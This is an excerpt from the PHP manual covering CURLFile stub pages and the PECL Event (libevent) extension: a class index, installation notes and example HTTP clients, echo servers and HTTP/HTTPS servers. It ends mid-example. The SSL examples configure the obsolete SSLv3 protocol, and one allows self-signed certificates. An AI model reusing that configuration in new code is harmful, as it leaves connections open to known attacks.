CURLFile::setPostFilename — Set file name for POST

Description

public void CURLFile::setPostFilename ( string $postname )

Parameters

postname

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Unserialization handler

  • « CURLFile::setPostFilename
  • Event »
  • PHP Manual
  • CURLFile
  • Unserialization handler

CURLFile::__wakeup

(PHP 5 >= 5.5.0)

CURLFile::__wakeup — Unserialization handler

Description

public void CURLFile::__wakeup ( void )

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

CURLFile is not serializable.

User Contributed Notes

There are no user contributed notes for this page.


Event

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • Event flags
  • About event persistence
  • Event callbacks
  • Constructing signal events
  • Event — The Event class
    • Event::add — Makes event pending
    • Event::addSignal — Makes signal event pending
    • Event::addTimer — Makes timer event pending
    • Event::__construct — Constructs Event object
    • Event::del — Makes event non-pending
    • Event::delSignal — Makes signal event non-pending
    • Event::delTimer — Makes timer event non-pending
    • Event::free — Make event non-pending and free resources allocated for this event.
    • Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent
    • Event::pending — Detects whether event is pending or scheduled
    • Event::set — Re-configures event
    • Event::setPriority — Set event priority
    • Event::setTimer — Re-configures timer event
    • Event::signal — Constructs signal event object
    • Event::timer — Constructs timer event object
  • EventBase — The EventBase class
    • EventBase::__construct — Constructs EventBase object
    • EventBase::dispatch — Dispatch pending events
    • EventBase::exit — Stop dispatching events
    • EventBase::getFeatures — Returns bitmask of features supported
    • EventBase::getMethod — Returns event method in use
    • EventBase::getTimeOfDayCached — Returns the current event base time
    • EventBase::gotExit — Checks if the event loop was told to exit
    • EventBase::gotStop — Checks if the event loop was told to exit
    • EventBase::loop — Dispatch pending events
    • EventBase::priorityInit — Sets number of priorities per event base
    • EventBase::reInit — Re-initialize event base(after a fork).
    • EventBase::stop — Tells event_base to stop dispatching events
  • EventBuffer — The EventBuffer class
    • EventBuffer::add — Append data to the end of an event buffer
    • EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer
    • EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer
    • EventBuffer::__construct — Constructs EventBuffer object
    • EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer
    • EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere
    • EventBuffer::enableLocking — Description
    • EventBuffer::expand — Reserves space in buffer
    • EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding
    • EventBuffer::lock — Acquires a lock on buffer
    • EventBuffer::prepend — Prepend data to the front of the buffer
    • EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer
    • EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string
    • EventBuffer::read — Read data from an evbuffer and drain the bytes read
    • EventBuffer::readFrom — Read data from a file onto the end of the buffer
    • EventBuffer::readLine — Extracts a line from the front of the buffer
    • EventBuffer::search — Scans the buffer for an occurrence of a string
    • EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line
    • EventBuffer::substr — Substracts a portion of the buffer data
    • EventBuffer::unfreeze — Re-enable calls that modify an event buffer
    • EventBuffer::unlock — Releases lock acquired by EventBuffer::lock
    • EventBuffer::write — Write contents of the buffer to a file or socket
  • EventBufferEvent — The EventBufferEvent class
    • EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket
    • EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving
    • EventBufferEvent::__construct — Constructs EventBufferEvent object
    • EventBufferEvent::createPair — Creates two buffer events connected to each other
    • EventBufferEvent::disable — Disable events read, write, or both on a buffer event.
    • EventBufferEvent::enable — Enable events read, write, or both on a buffer event.
    • EventBufferEvent::free — Free a buffer event
    • EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt
    • EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event
    • EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event
    • EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event
    • EventBufferEvent::read — Read buffer's data
    • EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf
    • EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks
    • EventBufferEvent::setPriority — Assign a priority to a bufferevent
    • EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event
    • EventBufferEvent::setWatermark — Adjusts read and/or write watermarks
    • EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event
    • EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event
    • EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation.
    • EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket
    • EventBufferEvent::write — Adds data to a buffer event's output buffer
    • EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer
  • About buffer event callbacks
  • EventConfig — The EventConfig class
    • EventConfig::avoidMethod — Tells libevent to avoid specific event method
    • EventConfig::__construct — Constructs EventConfig object
    • EventConfig::requireFeatures — Enters a required event method feature that the application demands
    • EventConfig::setMaxDispatchInterval — Prevents priority inversion
  • EventDnsBase — The EventDnsBase class
    • EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base
    • EventDnsBase::addSearch — Adds a domain to the list of search domains
    • EventDnsBase::clearSearch — Removes all current search suffixes
    • EventDnsBase::__construct — Constructs EventDnsBase object
    • EventDnsBase::countNameservers — Gets the number of configured nameservers
    • EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file
    • EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file
    • EventDnsBase::setOption — Set the value of a configuration option
    • EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches
  • EventHttp — The EventHttp class
    • EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource
    • EventHttp::addServerAlias — Adds a server alias to the HTTP server object
    • EventHttp::bind — Binds an HTTP server on the specified address and port
    • EventHttp::__construct — Constructs EventHttp object(the HTTP server)
    • EventHttp::removeServerAlias — Removes server alias
    • EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
    • EventHttp::setCallback — Sets a callback for specified URI
    • EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks
    • EventHttp::setMaxBodySize — Sets maximum request body size
    • EventHttp::setMaxHeadersSize — Sets maximum HTTP header size
    • EventHttp::setTimeout — Sets the timeout for an HTTP request
  • EventHttpConnection — The EventHttpConnection class
    • EventHttpConnection::__construct — Constructs EventHttpConnection object
    • EventHttpConnection::getBase — Returns event base associated with the connection
    • EventHttpConnection::getPeer — Gets the remote address and port associated with the connection
    • EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection
    • EventHttpConnection::setCloseCallback — Set callback for connection close
    • EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made
    • EventHttpConnection::setLocalPort — Sets the local port from which connections are made
    • EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection
    • EventHttpConnection::setMaxHeadersSize — Sets maximum header size
    • EventHttpConnection::setRetries — Sets the retry limit for the connection
    • EventHttpConnection::setTimeout — Sets the timeout for the connection
  • EventHttpRequest — The EventHttpRequest class
    • EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request
    • EventHttpRequest::cancel — Cancels a pending HTTP request
    • EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request
    • EventHttpRequest::closeConnection — Closes associated HTTP connection
    • EventHttpRequest::__construct — Constructs EventHttpRequest object
    • EventHttpRequest::findHeader — Finds the value belonging a header
    • EventHttpRequest::free — Frees the object and removes associated events
    • EventHttpRequest::getBufferEvent — Returns EventBufferEvent object
    • EventHttpRequest::getCommand — Returns the request command(method)
    • EventHttpRequest::getConnection — Returns EventHttpConnection object
    • EventHttpRequest::getHost — Returns the request host
    • EventHttpRequest::getInputBuffer — Returns the input buffer
    • EventHttpRequest::getInputHeaders — Returns associative array of the input headers
    • EventHttpRequest::getOutputBuffer — Returns the output buffer of the request
    • EventHttpRequest::getOutputHeaders — Returns associative array of the input headers
    • EventHttpRequest::getResponseCode — Returns the response code
    • EventHttpRequest::getUri — Returns the request URI
    • EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request
    • EventHttpRequest::sendError — Send an HTML error message to the client
    • EventHttpRequest::sendReply — Send an HTML reply to the client
    • EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply
    • EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate
    • EventHttpRequest::sendReplyStart — Initiate a chunked reply
  • EventListener — The EventListener class
    • EventListener::__construct — Creates new connection listener associated with an event base
    • EventListener::disable — Disables an event connect listener object
    • EventListener::enable — Enables an event connect listener object
    • EventListener::getBase — Returns event base associated with the event listener
    • EventListener::getSocketName — Retreives the current address to which the listener's socket is bound.
    • EventListener::setCallback — The setCallback purpose
    • EventListener::setErrorCallback — Set event listener's error callback
  • EventSslContext — The EventSslContext class
    • EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes
  • EventUtil — The EventUtil class
    • EventUtil::__construct — The abstract constructor
    • EventUtil::getLastSocketErrno — Returns the most recent socket error number
    • EventUtil::getLastSocketError — Returns the most recent socket error
    • EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream
    • EventUtil::getSocketName — Retreives the current address to which the socket is bound.
    • EventUtil::setSocketOption — Sets socket options
    • EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This is an extension to efficiently schedule I/O, time and signal based events using the best I/O notification mechanism available for specific platform. This is a port of libevent to the PHP infrastructure.

Note:

Note, Windows support introduced in event-1.9.0 .

Version 1.0.0 introduces new object-oriented API (breaking backwards compatibility), and support of libevent 2+ including HTTP, DNS, OpenSSL and the event listener.

Note:

Note, event-1.0.0 and greater is not compatible with previous versions.

User Contributed Notes

AoK 17-May-2014 01:06
PHP event service works at PHP 5.4+.  Couldn't get event to work on a PHP 5.3.10 install.

To get event working (OS X as an example):
1. brew install libevent
2. sudo pecl install event

This is tricky because pecl yields both "event" and "libevent" packages.  I was successful with "event" and not "libevent".


Requirements

This extension requires » libevent library. Most modern distributions provide packages for libevent.

OpenSSL features require » OpenSSL library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/event .

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Simple HTTP client

<?php
// Read callback
function readcb($bev, $base) {
    //$input = $bev->input; //$bev->getInput();

    //$pos = $input->search("TTP");
    $pos = $bev->input->search("TTP");

    while (($n = $bev->input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

// Event callback
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

if ($argc != 3) {
    echo <<<EOS
Trivial HTTP 0.x client
Syntax: php {$argv[0]} [hostname] [resource]
Example: php {$argv[0]} www.google.com /

EOS;
    exit();
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // We'll use async DNS resolving
if (!$dns_base) {
    exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
    "readcb", /* writecb */ NULL, "eventcb"
);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
    "GET {$argv[2]} HTTP/1.0\r\n".
    "Host: {$argv[1]}\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
    exit("Can't connect to host {$argv[1]}\n");
}

$base->dispatch();
?>

The above example will output something similar to:

Connected.
HTTP/1.1 301 Moved Permanently
Date: Fri, 01 Mar 2013 18:47:48 GMT
Location: http://www.google.co.uk/
Content-Type: text/html; charset=UTF-8
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Age: 133438
Expires: Sat, 30 Mar 2013 05:39:28 GMT
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

Example #2 HTTP client using asynchronous DNS resolver

<?php
/*
 * 1. Connect to 127.0.0.1 at port 80
 * by means of EventBufferEvent::connect().
 *
 * 2. Request /index.cphp via HTTP/1.0
 * using the output buffer.
 *
 * 3. Asyncronously read the response and print it to stdout.
 */

// Read callback
function readcb($bev, $base) {
    $input = $bev->getInput();

    while (($n = $input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

// Event callback
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
// Send request
$output = $bev->getOutput();
if (!$output->add(
    "GET /index.cphp HTTP/1.0\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

/* Connect to the host syncronously.
We know the IP, and don't need to resolve DNS. */
if (!$bev->connect("127.0.0.1:80")) {
    exit("Can't connect to host\n");
}

// Dispatch pending events
$base->dispatch();
?>

Example #3 Echo server

<?php
/*
 * Simple echo server based on libevent's connection listener.
 *
 * Usage:
 * 1) In one terminal window run:
 *
 * $ php listener.php 9881
 *
 * 2) In another terminal window open up connection, e.g.:
 *
 * $ nc 127.0.0.1 9881
 *
 * 3) start typing. The server should repeat the input.
 */

class MyListenerConnection {
    private $bev, $base;

    public function __destruct() {
        $this->bev->free();
    }

    public function __construct($base, $fd) {
        $this->base = $base;

        $this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

        $this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
            array($this, "echoEventCallback"), NULL);

        if (!$this->bev->enable(Event::READ)) {
            echo "Failed to enable READ\n";
            return;
        }
    }

    public function echoReadCallback($bev, $ctx) {
        // Copy all the data from the input buffer to the output buffer

        // Variant #1
        $bev->output->addBuffer($bev->input);

        /* Variant #2 */
        /*
        $input    = $bev->getInput();
        $output = $bev->getOutput();
        $output->addBuffer($input);
        */
    }

    public function echoEventCallback($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            //$bev->free();
            $this->__destruct();
        }
    }
}

class MyListener {
    public $base,
        $listener,
        $socket;
    private $conn = array();

    public function __destruct() {
        foreach ($this->conn as &$c) $c = NULL;
    }

    public function __construct($port) {
        $this->base = new EventBase();
        if (!$this->base) {
            echo "Couldn't open event base";
            exit(1);
        }

        // Variant #1
        /*
        $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!socket_bind($this->socket, '0.0.0.0', $port)) {
            echo "Unable to bind socket\n";
            exit(1);
        }
        $this->listener = new EventListener($this->base,
            array($this, "acceptConnCallback"), $this->base,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1, $this->socket);
         */

        // Variant #2
         $this->listener = new EventListener($this->base,
             array($this, "acceptConnCallback"), $this->base,
             EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
             "0.0.0.0:$port");

        if (!$this->listener) {
            echo "Couldn't create listener";
            exit(1);
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }

    public function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev
    public function acceptConnCallback($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it. */
        $base = $this->base;
        $this->conn[] = new MyListenerConnection($base, $fd);
    }

    public function accept_error_cb($listener, $ctx) {
        $base = $this->base;

        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $base->exit(NULL);
    }
}

$port = 9808;

if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

Example #4 SSL echo server

<?php
/*
 * SSL echo server
 *
 * To test:
 * 1) Run:
 * $ php examples/ssl-echo-server/server.php 9998
 *
 * 2) in another terminal window run:
 * $ socat - SSL:127.0.0.1:9998,verify=1,cafile=examples/ssl-echo-server/cert.pem
 */

class MySslEchoServer {
    public $port,
        $base,
        $bev,
        $listener,
        $ctx;

    function __construct ($port, $host = "127.0.0.1") {
        $this->port = $port;
        $this->ctx = $this->init_ssl();
        if (!$this->ctx) {
            exit("Failed creating SSL context\n");
        }

        $this->base = new EventBase();
        if (!$this->base) {
            exit("Couldn't open event base\n");
        }

        $this->listener = new EventListener($this->base,
            array($this, "ssl_accept_cb"), $this->ctx,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1, "$host:$port");
        if (!$this->listener) {
            exit("Couldn't create listener\n");
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }
    function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev.
    function ssl_read_cb($bev, $ctx) {
        $in = $bev->input; //$bev->getInput();

        printf("Received %zu bytes\n", $in->length);
        printf("----- data ----\n");
        printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

        $bev->writeBuffer($in);
    }

    // This callback is invoked when some even occurs on the event listener,
    // e.g. connection closed, or an error occured
    function ssl_event_cb($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            // Fetch errors from the SSL error stack
            while ($err = $bev->sslError()) {
                fprintf(STDERR, "Bufferevent error %s.\n", $err);
            }
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            $bev->free();
        }
    }

    // This callback is invoked when a client accepts new connection
    function ssl_accept_cb($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it.
        $this->bev = EventBufferEvent::sslSocket($this->base, $fd, $this->ctx,
            EventBufferEvent::SSL_ACCEPTING, EventBufferEvent::OPT_CLOSE_ON_FREE);

        if (!$this->bev) {
            echo "Failed creating ssl buffer\n";
            $this->base->exit(NULL);
            exit(1);
        }

        $this->bev->enable(Event::READ);
        $this->bev->setCallbacks(array($this, "ssl_read_cb"), NULL,
            array($this, "ssl_event_cb"), NULL);
    }

    // This callback is invoked when we failed to setup new connection for a client
    function accept_error_cb($listener, $ctx) {
        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $this->base->exit(NULL);
    }

    // Initialize SSL structures, create an EventSslContext
    // Optionally create self-signed certificates
    function init_ssl() {
        // We *must* have entropy. Otherwise there's no point to crypto.
        if (!EventUtil::sslRandPoll()) {
            exit("EventUtil::sslRandPoll failed\n");
        }

        $local_cert = __DIR__."/cert.pem";
        $local_pk   = __DIR__."/privkey.pem";

        if (!file_exists($local_cert) || !file_exists($local_pk)) {
            echo "Couldn't read $local_cert or $local_pk file.  To generate a key\n",
                "and self-signed certificate, run:\n",
                "  openssl genrsa -out $local_pk 2048\n",
                "  openssl req -new -key $local_pk -out cert.req\n",
                "  openssl x509 -req -days 365 -in cert.req -signkey $local_pk -out $local_cert\n";

            return FALSE;
        }

        $ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
             EventSslContext::OPT_LOCAL_CERT  => $local_cert,
             EventSslContext::OPT_LOCAL_PK    => $local_pk,
             //EventSslContext::OPT_PASSPHRASE  => "echo server",
             EventSslContext::OPT_VERIFY_PEER => true,
             EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
        ));

        return $ctx;
    }
}

// Allow to override the port
$port = 9999;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port\n");
}

$l = new MySslEchoServer($port);
$l->dispatch();
?>

Example #5 Signal handler

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan    3976  0.2  0.0 139896 11256 pts/1    S+   10:25   0:00 php examples/signal.php
ruslan    3978  0.0  0.0   9572   864 pts/2    S+   10:26   0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
    private $base;

    function __construct($base) {
        $this->base = $base;
    }

    function eventSighandler($no, $c) {
        echo "Caught signal $no\n";
        event_base_loopexit($c->base);
    }
}

$base = event_base_new();
$c    = new MyEventSignal($base);
$no   = SIGTERM;
$ev   = evsignal_new($base, $no, array($c,'eventSighandler'), $c);

evsignal_add($ev);

event_base_loop($base);
?>

Example #6 Use libevent's loop to process requests of `eio' extension

<?php
// Callback for eio_nop()
function my_nop_cb($d, $r) {
    echo "step 6\n";
}

$dir = "/tmp/abc-eio-temp";
if (file_exists($dir)) {
    rmdir($dir);
}

echo "step 1\n";

$base = new EventBase();

echo "step 2\n";

eio_init();

eio_mkdir($dir, 0750, EIO_PRI_DEFAULT, "my_nop_cb");

$event = new Event($base, eio_get_event_stream(),
    Event::READ | Event::PERSIST, function ($fd, $events, $base) {
    echo "step 5\n";

    while (eio_nreqs()) {
        eio_poll();
    }

    $base->stop();
}, $base);

echo "step 3\n";

$event->add();

echo "step 4\n";

$base->dispatch();

echo "Done\n";
?>

Example #7 Miscellaneous

<?php
/* {{{ Config & supported stuff */
echo "Supported methods:\n";
foreach (Event::getSupportedMethods() as $m) {
    echo $m, PHP_EOL;
}

// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);
echo "Event method used: ", $base->getMethod(), PHP_EOL;

echo "Features:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print("ET - edge-triggered IO\n");
($features & EventConfig::FEATURE_O1) and print("O1 - O(1) operation for adding/deletting events\n");
($features & EventConfig::FEATURE_FDS) and print("FDS - arbitrary file descriptor types, and not just sockets\n");

// Require FDS feature
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
    echo "FDS feature is now requried\n";

    $base = new EventBase($cfg);
    ($base->getFeatures() & EventConfig::FEATURE_FDS)
        and print("FDS - arbitrary file descriptor types, and not just sockets\n");
}
/* }}} */

/* {{{ Base */
$base = new EventBase();
$event = new Event($base, STDIN, Event::READ | Event::PERSIST, function ($fd, $events, $arg) {
    static $max_iterations = 0;

    if (++$max_iterations >= 5) {
        /* exit after 5 iterations with timeout of 2.33 seconds */
        echo "Stopping...\n";
        $arg[0]->exit(2.33);
    }

    echo fgets($fd);
}, array (&$base));

$event->add();
$base->loop();
/* Base }}} */
?>

Example #8 Simple HTTP server

<?php
/*
 * Simple HTTP server.
 *
 * To test it:
 * 1) Run it on a port of your choice, e.g.:
 * $ php examples/http.php 8010
 * 2) In another terminal connect to some address on this port
 * and make GET or POST request(others are turned off here), e.g.:
 * $ nc -t 127.0.0.1 8010
 * POST /about HTTP/1.0
 * Content-Type: text/plain
 * Content-Length: 4
 * Connection: close
 * (press Enter)
 *
 * It will output
 * a=12
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * $ nc -t 127.0.0.1 8010
 * GET /dump HTTP/1.0
 * Content-Type: text/plain
 * Content-Encoding: UTF-8
 * Connection: close
 * (press Enter)
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 * (press Enter)
 *
 * $ nc -t 127.0.0.1 8010
 * GET /unknown HTTP/1.0
 * Connection: close
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * 3) See what the server outputs on the previous terminal window.
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 2;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    echo "\n >> Reading input buffer ...\n";
    $buf = $req->getInputBuffer();
    while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
        echo $s, PHP_EOL;
    }
    echo "No more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

The above example will output something similar to:

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Example #9 Simple HTTPS server

<?php
/*
 * Simple HTTPS server.
 *
 * 1) Run the server: `php examples/https.php 9999`
 * 2) Test it: `php examples/ssl-connection.php 9999`
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 200;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    $buf = $req->getInputBuffer();
    echo "\n >> Reading input buffer (", $buf->length, ") ...\n";
    while ($s = $buf->read(1024)) {
        echo $s;
    }
    echo "\nNo more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_400($req) {
    $req->sendError(400);
}

function _init_ssl() {
    $local_cert = __DIR__."/ssl-echo-server/cert.pem";
    $local_pk   = __DIR__."/ssl-echo-server/privkey.pem";

    $ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
        EventSslContext::OPT_LOCAL_CERT  => $local_cert,
        EventSslContext::OPT_LOCAL_PK    => $local_pk,
        //EventSslContext::OPT_PASSPHRASE  => "test",
        EventSslContext::OPT_ALLOW_SELF_SIGNED => true,
    ));

    return $ctx;
}

$port = 9999;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}
$ip = '0.0.0.0';

$base = new EventBase();
$ctx  = _init_ssl();
$http = new EventHttp($base, $ctx);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setCallback("/err400", "_http_400");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind($ip, $port);
